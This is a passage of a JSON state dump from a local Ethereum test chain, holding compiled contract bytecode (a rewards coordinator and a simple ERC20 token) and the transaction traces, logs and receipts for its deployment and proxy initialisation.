daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220817e7c73564266312bb51c837933bb59af47a68ee6c566d48ffce124f608594c64736f6c634300081c0033","nonce":15,"gas_used":3277944},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x320478","logs":[{"address":"0x0b306bf915c4d645ff596e518faf3f9669b97016","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000"},"block_hash":"0x9f79b7eb183beb5d3fb9b36b6a9708cafdc1c093cdea868fa080716576aac652","block_number":9},{"info":{"transaction_hash":"0xa1e0398c2dde583fe8c57690419d4f2ec2dee733e02fd823bd1dd6bdb141f9db","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc31800000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":118552,"gas_limit":172617,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef28600000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":112194,"gas_limit":163709,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x00000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","address":"0x68b1d87f95878fe05b998f19b66f4baba5de1aed","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xeb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a","output":"0x","gas_used":99229,"gas_limit":148606,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4}]}],"exit":"Stop","out":"0x","nonce":25,"gas_used":141812},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x229f4","logs":[{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x00000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed"],"data":"0x"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0x4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000010000000100000000000000000000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800001004000000000000000000000000400000000100000000000000000000000000000000000080004000000000000000002000000000000000000000008400000000000000000000000000000000000000000020400000200000000000040000040000002008000001000000000020000000000000000001000000000000000000000000000000020000000000400000"},"block_hash":"0x1b66e4daade697ba1e5723ea9c0548ffb1f11de79d6fa07394bf8f4022c3724f","block_number":17},{"info":{"transaction_hash":"0xbd915f86d3825918e7b3e23f3a26470ab72a7643e95da39926f2f79c5e79e809","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x09635f643e140090a9a8dcd712ed6285858cebef","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x09635f643e140090a9a8dcd712ed6285858cebef","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052348015600f57600080fd5b506105298061001f6000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea26469706673582212207dcc3a1a28726484144825c2fae6f73b060be6cb27431e56efe26512aa3db1d064736f6c634300081c0033","output":"0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea26469706673582212207dcc3a1a28726484144825c2fae6f73b060be6cb27431e56efe26512aa3db1d064736f6c634300081c0033","gas_used":264506,"gas_limit":365977,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea26469706673582212207dcc3a1a28726484144825c2fae6f73b060be6cb27431e56efe26512aa3db1d064736f6c634300081c0033","nonce":27,"gas_used":338612},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x52ab4","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x2c6ee5398f79fd95878301d23352454202bf3c51130435820fde873a683e4f76","block_number":18},{"info":{"transaction_hash":"0x046411743d2c08a8f69f7117e4aed15eb84999f401e950cafac8436c9d2c04d8","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x","gas_used":4371,"gas_limit":16304,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Stop","out":"0x","nonce":31,"gas_used":25803},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x64cb","logs":[{"address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x3caf5b17413ef090f10a7b4954c5619f020fbedc7d8180ed8f724f575fa8aa1a","block_number":21},{"info":{"transaction_hash":"0xdbeaad0376d936df8f5bb54707e0b78789158df3505b3401a68e8d7b418ccad3","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":19615,"gas_limit":35906,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef286000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":13345,"gas_limit":29221,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","address":"0x959922be3caee4b8cd9a407cc3ac1c251c2007b1","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x1794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":456,"gas_limit":16294,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Stop","out":"0x","nonce":21,"gas_used":42735},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x32a44","logs":[{"address":"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1"],"data":"0x"}],"logsBloom":"0x